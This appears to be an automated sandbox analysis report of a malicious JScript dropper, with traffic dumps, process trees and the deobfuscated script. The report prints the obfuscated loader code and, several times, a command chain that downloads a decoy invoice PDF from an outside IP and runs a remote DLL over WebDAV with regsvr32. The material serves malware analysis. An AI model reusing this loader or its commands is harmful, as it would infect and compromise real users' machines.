Jan 10, 2025 20:46:04.117204905 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 20:46:04.117222071 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:46:04.117235899 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:46:04.117250919 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:46:04.117264986 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:46:04.117280006 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:46:04.117295027 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 20:46:04.122235060 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8100	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:46:05.984447956 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:46:06.795321941 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:46:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:46:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1926422634111517010.js"
Imagebase:	0x7ff6180d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:46:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Imagebase:	0x7ff7b6ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:46:00
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:46:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:46:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:46:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b6ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:46:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66b8d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:46:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:46:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:46:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1540,i,11543960135452201056,16608610189234339836,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hyptlz() {	hyptlz() ➔ undefined
1	xxveplxnz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var korfy = this[alzcmu + jfeseje + bcpetc + wowvvvjx + uvjbx + uasnha + jzobmwasb + odebbvol] ( this[iepmsib + ryjzg + yjwfmxhxs + bcpetc + nbwlkzyye + alzcmu + odebbvol][vjfsmnz + bcpetc + uvjbx + jfeseje + odebbvol + uvjbx + brbtymq + bqgtlcibv + kmuegeod + uvjbx + yjwfmxhxs + odebbvol] ( iepmsib + ryjzg + yjwfmxhxs + bcpetc + nbwlkzyye + alzcmu + odebbvol + zzucx + ryjzg + vdbkmaiow + uvjbx + guxtk + guxtk ) [srfrexhhe + uvjbx + noqafo + srfrexhhe + uvjbx + jfeseje + yasadrco] ( vijrwru + evfnn + jrbmehrr + bhjbbxrpw + wnnqs + vjfsmnz + undwwnva + srfrexhhe + srfrexhhe + jrbmehrr + yhnhjy + tnphr + wnnqs + undwwnva + ryjzg + jrbmehrr + srfrexhhe + aoejobb + vjfsmnz + zyexu + jzobmwasb + odebbvol + bcpetc + zyexu + guxtk + heqkdb + artwtv + jfeseje + jzobmwasb + uvjbx + guxtk + aoejobb + uasnha + jzobmwasb + odebbvol + uvjbx + bcpetc + jzobmwasb + jfeseje + odebbvol + nbwlkzyye + zyexu + jzobmwasb + jfeseje + guxtk + aoejobb + bpwciunf + zyexu + yjwfmxhxs + jfeseje + guxtk + uvjbx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( smlgtbs = 0 ; smlgtbs < xxveplxnz[guxtk + uvjbx + jzobmwasb + noqafo + odebbvol + vdbkmaiow] ; ++ smlgtbs )
4	{
5	if ( korfy == xxveplxnz[smlgtbs] )
6	{
7	korfy = true;
8	break ;
9	}
10	}
11	if ( korfy !== true )
12	this[iepmsib + ryjzg + yjwfmxhxs + bcpetc + nbwlkzyye + alzcmu + odebbvol][fzczvjz + boupmqh + nbwlkzyye + odebbvol] ( );
13	this[iepmsib + ryjzg + yjwfmxhxs + bcpetc + nbwlkzyye + alzcmu + odebbvol][vjfsmnz + bcpetc + uvjbx + jfeseje + odebbvol + uvjbx + brbtymq + bqgtlcibv + kmuegeod + uvjbx + yjwfmxhxs + odebbvol] ( iepmsib + ryjzg + yjwfmxhxs + bcpetc + nbwlkzyye + alzcmu + odebbvol + zzucx + ryjzg + vdbkmaiow + uvjbx + guxtk + guxtk ) [bcpetc + boupmqh + jzobmwasb] ( yjwfmxhxs + bugdjqlp + yasadrco + heqkdb + gosvpnz + yjwfmxhxs + heqkdb + alzcmu + zyexu + fuhgdeyxb + uvjbx + bcpetc + wowvvvjx + vdbkmaiow + uvjbx + guxtk + guxtk + zzucx + uvjbx + coedswm + uvjbx + heqkdb + bvppg + vjfsmnz + zyexu + bugdjqlp + bugdjqlp + jfeseje + jzobmwasb + yasadrco + heqkdb + hcvnvtqq + uasnha + jzobmwasb + ycaglc + zyexu + vkctgugu + uvjbx + bvppg + iepmsib + uvjbx + bqgtlcibv + srfrexhhe + uvjbx + ncfmtnu + boupmqh + uvjbx + wowvvvjx + odebbvol + heqkdb + bvppg + brbtymq + boupmqh + odebbvol + bjhsxq + nbwlkzyye + guxtk + uvjbx + heqkdb + sfktu + odebbvol + uvjbx + bugdjqlp + alzcmu + sfktu + aoejobb + nbwlkzyye + jzobmwasb + ycaglc + zyexu + nbwlkzyye + yjwfmxhxs + uvjbx + zzucx + alzcmu + yasadrco + dicfr + heqkdb + vdbkmaiow + odebbvol + odebbvol + alzcmu + bxkqnkeid + gosvpnz + gosvpnz + oxezxwcw + ffkme + hkays + zzucx + oxezxwcw + aqgik + hkays + zzucx + oxezxwcw + zzucx + hmivjl + mqbytvrn + gfsunpo + gosvpnz + nbwlkzyye + jzobmwasb + ycaglc + zyexu + nbwlkzyye + yjwfmxhxs + uvjbx + zzucx + alzcmu + vdbkmaiow + alzcmu + hcvnvtqq + nqqpsydit + nqqpsydit + wowvvvjx + odebbvol + jfeseje + bcpetc + odebbvol + heqkdb + sfktu + odebbvol + uvjbx + bugdjqlp + alzcmu + sfktu + aoejobb + nbwlkzyye + jzobmwasb + ycaglc + zyexu + nbwlkzyye + yjwfmxhxs + uvjbx + zzucx + alzcmu + yasadrco + dicfr + nqqpsydit + nqqpsydit + yjwfmxhxs + bugdjqlp + yasadrco + heqkdb + gosvpnz + yjwfmxhxs + heqkdb + jzobmwasb + uvjbx + odebbvol + heqkdb + boupmqh + wowvvvjx + uvjbx + heqkdb + aoejobb + aoejobb + oxezxwcw + ffkme + hkays + zzucx + oxezxwcw + aqgik + hkays + zzucx + oxezxwcw + zzucx + hmivjl + mqbytvrn + gfsunpo + avfosv + aftcvm + aftcvm + aftcvm + aftcvm + aoejobb + yasadrco + jfeseje + ycaglc + fuhgdeyxb + fuhgdeyxb + fuhgdeyxb + bcpetc + zyexu + zyexu + odebbvol + aoejobb + nqqpsydit + nqqpsydit + yjwfmxhxs + bugdjqlp + yasadrco + heqkdb + gosvpnz + yjwfmxhxs + heqkdb + bcpetc + uvjbx + noqafo + wowvvvjx + ycaglc + bcpetc + hkays + hmivjl + heqkdb + gosvpnz + wowvvvjx + heqkdb + aoejobb + aoejobb + oxezxwcw + ffkme + hkays + zzucx + oxezxwcw + aqgik + hkays + zzucx + oxezxwcw + zzucx + hmivjl + mqbytvrn + gfsunpo + avfosv + aftcvm + aftcvm + aftcvm + aftcvm + aoejobb + yasadrco + jfeseje + ycaglc + fuhgdeyxb + fuhgdeyxb + fuhgdeyxb + bcpetc + zyexu + zyexu + odebbvol + aoejobb + gfsunpo + hkays + aqgik + oxezxwcw + hmivjl + aqgik + mqbytvrn + kjhvj + aqgik + oxezxwcw + ffkme + hkays + hkays + hmivjl + zzucx + yasadrco + guxtk + guxtk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll",0,false) ➔ 0
14	}
15	nbwlkzyye = "H";
16	nbwlkzyye = "y";
17	nbwlkzyye = "K";
18	nbwlkzyye = "e";
19	nbwlkzyye = "k";
20	nbwlkzyye = "A";
21	nbwlkzyye = "A";
22	nbwlkzyye = "E";
23	nbwlkzyye = "a";
24	nbwlkzyye = "C";
25	nbwlkzyye = "i";
26	coedswm = "N";
27	coedswm = "Y";
28	coedswm = "x";
29	nqqpsydit = "m";
30	nqqpsydit = "s";
31	nqqpsydit = "U";
32	nqqpsydit = "w";
33	nqqpsydit = "B";
34	nqqpsydit = "t";
35	nqqpsydit = "D";
36	nqqpsydit = "W";
37	nqqpsydit = "f";
38	nqqpsydit = "U";
39	nqqpsydit = "i";
40	nqqpsydit = "m";
41	nqqpsydit = "Y";
42	nqqpsydit = "g";
43	nqqpsydit = "W";
44	nqqpsydit = "x";
45	nqqpsydit = "C";
46	nqqpsydit = "R";
47	nqqpsydit = "Y";
48	nqqpsydit = "r";
49	nqqpsydit = "Z";
50	nqqpsydit = "W";
51	nqqpsydit = "f";
52	nqqpsydit = "N";
53	nqqpsydit = "z";
54	nqqpsydit = "W";
55	nqqpsydit = "c";
56	nqqpsydit = "m";
57	nqqpsydit = "a";
58	nqqpsydit = "j";
59	nqqpsydit = "L";
60	nqqpsydit = "n";
61	nqqpsydit = "&";
62	bpwciunf = "b";
63	bpwciunf = "Q";
64	bpwciunf = "C";
65	bpwciunf = "v";
66	bpwciunf = "W";
67	bpwciunf = "y";
68	bpwciunf = "I";
69	bpwciunf = "o";
70	bpwciunf = "p";
71	bpwciunf = "b";
72	bpwciunf = "o";
73	bpwciunf = "j";
74	bpwciunf = "g";
75	bpwciunf = "M";
76	bpwciunf = "a";
77	bpwciunf = "q";
78	bpwciunf = "M";
79	bpwciunf = "D";
80	bpwciunf = "L";
81	bpwciunf = "M";
82	bpwciunf = "T";
83	bpwciunf = "G";
84	bpwciunf = "V";
85	bpwciunf = "L";
86	aqgik = "h";
87	aqgik = "f";
88	aqgik = "M";
89	aqgik = "A";
90	aqgik = "m";
91	aqgik = "w";
92	aqgik = "M";
93	aqgik = "Z";
94	aqgik = "I";
95	aqgik = "y";
96	aqgik = "G";
97	aqgik = "x";
98	aqgik = "c";
99	aqgik = "P";
100	aqgik = "n";
101	aqgik = "w";
102	aqgik = "Z";
103	aqgik = "P";
104	aqgik = "P";
105	aqgik = "U";
106	aqgik = "X";
107	aqgik = "G";
108	aqgik = "P";
109	aqgik = "v";
110	aqgik = "Q";
111	aqgik = "T";
112	aqgik = "h";
113	aqgik = "4";
114	ryjzg = "K";
115	ryjzg = "P";
116	ryjzg = "p";
117	ryjzg = "f";
118	ryjzg = "e";
119	ryjzg = "p";
120	ryjzg = "g";
121	ryjzg = "w";
122	ryjzg = "t";
123	ryjzg = "Z";
124	ryjzg = "v";
125	ryjzg = "B";
126	ryjzg = "s";
127	ryjzg = "w";
128	ryjzg = "k";
129	ryjzg = "i";
130	ryjzg = "E";
131	ryjzg = "L";
132	ryjzg = "Q";
133	ryjzg = "T";
134	ryjzg = "M";
135	ryjzg = "s";
136	ryjzg = "J";
137	ryjzg = "D";
138	ryjzg = "w";
139	ryjzg = "q";
140	ryjzg = "U";
141	ryjzg = "H";
142	ryjzg = "h";
143	ryjzg = "X";
144	ryjzg = "e";
145	ryjzg = "M";
146	ryjzg = "M";
147	ryjzg = "A";
148	ryjzg = "O";
149	ryjzg = "P";
150	ryjzg = "s";
151	ryjzg = "Q";
152	ryjzg = "S";
153	hcvnvtqq = "c";
154	hcvnvtqq = "V";
155	hcvnvtqq = "V";
156	hcvnvtqq = "a";
157	hcvnvtqq = "b";
158	hcvnvtqq = "u";
159	hcvnvtqq = "T";
160	hcvnvtqq = "b";
161	hcvnvtqq = "t";
162	hcvnvtqq = "W";
163	hcvnvtqq = "Y";
164	hcvnvtqq = "M";
165	hcvnvtqq = "w";
166	hcvnvtqq = "N";
167	hcvnvtqq = "b";
168	hcvnvtqq = "v";
169	hcvnvtqq = "I";
170	hcvnvtqq = "t";
171	hcvnvtqq = "y";
172	hcvnvtqq = "u";
173	hcvnvtqq = "y";
174	hcvnvtqq = "g";
175	hcvnvtqq = "Q";
176	hcvnvtqq = "L";
177	hcvnvtqq = "v";
178	hcvnvtqq = "y";
179	hcvnvtqq = "R";
180	hcvnvtqq = "h";
181	hcvnvtqq = "O";
182	hcvnvtqq = "C";
183	hcvnvtqq = "A";
184	hcvnvtqq = "J";
185	hcvnvtqq = "M";
186	hcvnvtqq = "O";
187	hcvnvtqq = "k";
188	hcvnvtqq = "m";
189	hcvnvtqq = "a";
190	hcvnvtqq = "\"";
191	fzczvjz = "A";
192	fzczvjz = "t";
193	fzczvjz = "t";
194	fzczvjz = "z";
195	fzczvjz = "x";
196	fzczvjz = "P";
197	fzczvjz = "z";
198	fzczvjz = "y";
199	fzczvjz = "h";
200	fzczvjz = "n";
201	fzczvjz = "p";
202	fzczvjz = "g";
203	fzczvjz = "K";
204	fzczvjz = "Z";
205	fzczvjz = "o";
206	fzczvjz = "i";
207	fzczvjz = "t";
208	fzczvjz = "g";
209	fzczvjz = "F";
210	fzczvjz = "q";
211	fzczvjz = "p";
212	fzczvjz = "U";
213	fzczvjz = "g";
214	fzczvjz = "p";
215	fzczvjz = "M";
216	fzczvjz = "N";
217	fzczvjz = "x";
218	fzczvjz = "U";
219	fzczvjz = "x";
220	fzczvjz = "d";
221	fzczvjz = "I";
222	fzczvjz = "K";
223	fzczvjz = "s";
224	fzczvjz = "H";
225	fzczvjz = "X";
226	fzczvjz = "G";
227	fzczvjz = "Q";
228	kmuegeod = "S";
229	kmuegeod = "s";
230	kmuegeod = "b";
231	kmuegeod = "V";
232	kmuegeod = "L";
233	kmuegeod = "J";
234	kmuegeod = "g";
235	kmuegeod = "G";
236	kmuegeod = "d";
237	kmuegeod = "w";
238	kmuegeod = "x";
239	kmuegeod = "j";
240	uvjbx = "Q";
241	uvjbx = "x";
242	uvjbx = "e";
243	uvjbx = "e";
244	uvjbx = "N";
245	uvjbx = "b";
246	uvjbx = "I";
247	uvjbx = "N";
248	uvjbx = "L";
249	uvjbx = "m";
250	uvjbx = "a";
251	uvjbx = "s";
252	uvjbx = "i";
253	uvjbx = "e";
254	uvjbx = "c";
255	uvjbx = "q";
256	uvjbx = "P";
257	uvjbx = "w";
258	uvjbx = "c";
259	uvjbx = "r";
260	uvjbx = "L";
261	uvjbx = "t";
262	uvjbx = "Y";
263	uvjbx = "g";
264	uvjbx = "e";
265	uvjbx = "c";
266	uvjbx = "U";
267	uvjbx = "C";
268	uvjbx = "t";
269	uvjbx = "a";
270	uvjbx = "z";
271	uvjbx = "E";
272	uvjbx = "T";
273	uvjbx = "y";
274	uvjbx = "h";
275	uvjbx = "i";
276	uvjbx = "d";
277	uvjbx = "x";
278	uvjbx = "y";
279	uvjbx = "P";
280	uvjbx = "a";
281	uvjbx = "u";
282	uvjbx = "V";
283	uvjbx = "e";
284	bvppg = "K";
285	bvppg = "N";
286	bvppg = "o";
287	bvppg = "F";
288	bvppg = "Q";
289	bvppg = "W";
290	bvppg = "O";
291	bvppg = "H";
292	bvppg = "b";
293	bvppg = "a";
294	bvppg = "l";
295	bvppg = "l";
296	bvppg = "u";
297	bvppg = "t";
298	bvppg = "o";
299	bvppg = "j";
300	bvppg = "m";
301	bvppg = "n";
302	bvppg = "g";
303	bvppg = "b";
304	bvppg = "M";
305	bvppg = "c";
306	bvppg = "r";
307	bvppg = "O";
308	bvppg = "P";
309	bvppg = "t";
310	bvppg = "Q";
311	bvppg = "v";
312	bvppg = "B";
313	bvppg = "S";
314	bvppg = "x";
315	bvppg = "q";
316	bvppg = "r";
317	bvppg = "r";
318	bvppg = "i";
319	bvppg = "h";
320	bvppg = "-";
321	ffkme = "w";
322	ffkme = "j";
323	ffkme = "h";
324	ffkme = "F";
325	ffkme = "d";
326	ffkme = "V";
327	ffkme = "y";
328	ffkme = "k";
329	ffkme = "l";
330	ffkme = "J";
331	ffkme = "p";
332	ffkme = "P";
333	ffkme = "U";
334	ffkme = "c";
335	ffkme = "n";
336	ffkme = "p";
337	ffkme = "Y";
338	ffkme = "z";
339	ffkme = "b";
340	ffkme = "v";
341	ffkme = "a";
342	ffkme = "d";
343	ffkme = "m";
344	ffkme = "f";
345	ffkme = "V";
346	ffkme = "g";
347	ffkme = "h";
348	ffkme = "T";
349	ffkme = "w";
350	ffkme = "A";
351	ffkme = "e";
352	ffkme = "Q";
353	ffkme = "D";
354	ffkme = "x";
355	ffkme = "T";
356	ffkme = "N";
357	ffkme = "9";
358	kjhvj = "U";
359	kjhvj = "f";
360	kjhvj = "d";
361	kjhvj = "V";
362	kjhvj = "D";
363	kjhvj = "E";
364	kjhvj = "D";
365	kjhvj = "N";
366	kjhvj = "s";
367	kjhvj = "H";
368	kjhvj = "K";
369	kjhvj = "A";
370	kjhvj = "u";
371	kjhvj = "s";
372	kjhvj = "h";
373	kjhvj = "L";
374	kjhvj = "B";
375	kjhvj = "U";
376	kjhvj = "D";
377	kjhvj = "u";
378	kjhvj = "W";
379	kjhvj = "Q";
380	kjhvj = "S";
381	kjhvj = "p";
382	kjhvj = "a";
383	kjhvj = "w";
384	kjhvj = "i";
385	kjhvj = "d";
386	kjhvj = "L";
387	kjhvj = "e";
388	kjhvj = "P";
389	kjhvj = "Q";
390	kjhvj = "I";
391	kjhvj = "E";
392	kjhvj = "P";
393	kjhvj = "h";
394	kjhvj = "7";
395	ycaglc = "H";
396	ycaglc = "b";
397	ycaglc = "d";
398	ycaglc = "g";
399	ycaglc = "K";
400	ycaglc = "h";
401	ycaglc = "k";
402	ycaglc = "N";
403	ycaglc = "Z";
404	ycaglc = "P";
405	ycaglc = "m";
406	ycaglc = "j";
407	ycaglc = "o";
408	ycaglc = "Z";
409	ycaglc = "v";
410	jzobmwasb = "Z";
411	jzobmwasb = "i";
412	jzobmwasb = "w";
413	jzobmwasb = "Q";
414	jzobmwasb = "N";
415	jzobmwasb = "c";
416	jzobmwasb = "G";
417	jzobmwasb = "m";
418	jzobmwasb = "Z";
419	jzobmwasb = "d";
420	jzobmwasb = "t";
421	jzobmwasb = "U";
422	jzobmwasb = "E";
423	jzobmwasb = "v";
424	jzobmwasb = "L";
425	jzobmwasb = "y";
426	jzobmwasb = "y";
427	jzobmwasb = "Y";
428	jzobmwasb = "l";
429	jzobmwasb = "n";
430	brbtymq = "V";
431	brbtymq = "C";
432	brbtymq = "C";
433	brbtymq = "j";
434	brbtymq = "q";
435	brbtymq = "k";
436	brbtymq = "f";
437	brbtymq = "v";
438	brbtymq = "x";
439	brbtymq = "b";
440	brbtymq = "z";
441	brbtymq = "m";
442	brbtymq = "V";
443	brbtymq = "p";
444	brbtymq = "V";
445	brbtymq = "D";
446	brbtymq = "B";
447	brbtymq = "W";
448	brbtymq = "r";
449	brbtymq = "H";
450	brbtymq = "u";
451	brbtymq = "c";
452	brbtymq = "I";
453	brbtymq = "O";
454	bugdjqlp = "j";
455	bugdjqlp = "k";
456	bugdjqlp = "Z";
457	bugdjqlp = "B";
458	bugdjqlp = "N";
459	bugdjqlp = "h";
460	bugdjqlp = "t";
461	bugdjqlp = "a";
462	bugdjqlp = "h";
463	bugdjqlp = "n";
464	bugdjqlp = "N";
465	bugdjqlp = "G";
466	bugdjqlp = "I";
467	bugdjqlp = "P";
468	bugdjqlp = "e";
469	bugdjqlp = "t";
470	bugdjqlp = "Y";
471	bugdjqlp = "Z";
472	bugdjqlp = "H";
473	bugdjqlp = "A";
474	bugdjqlp = "l";
475	bugdjqlp = "X";
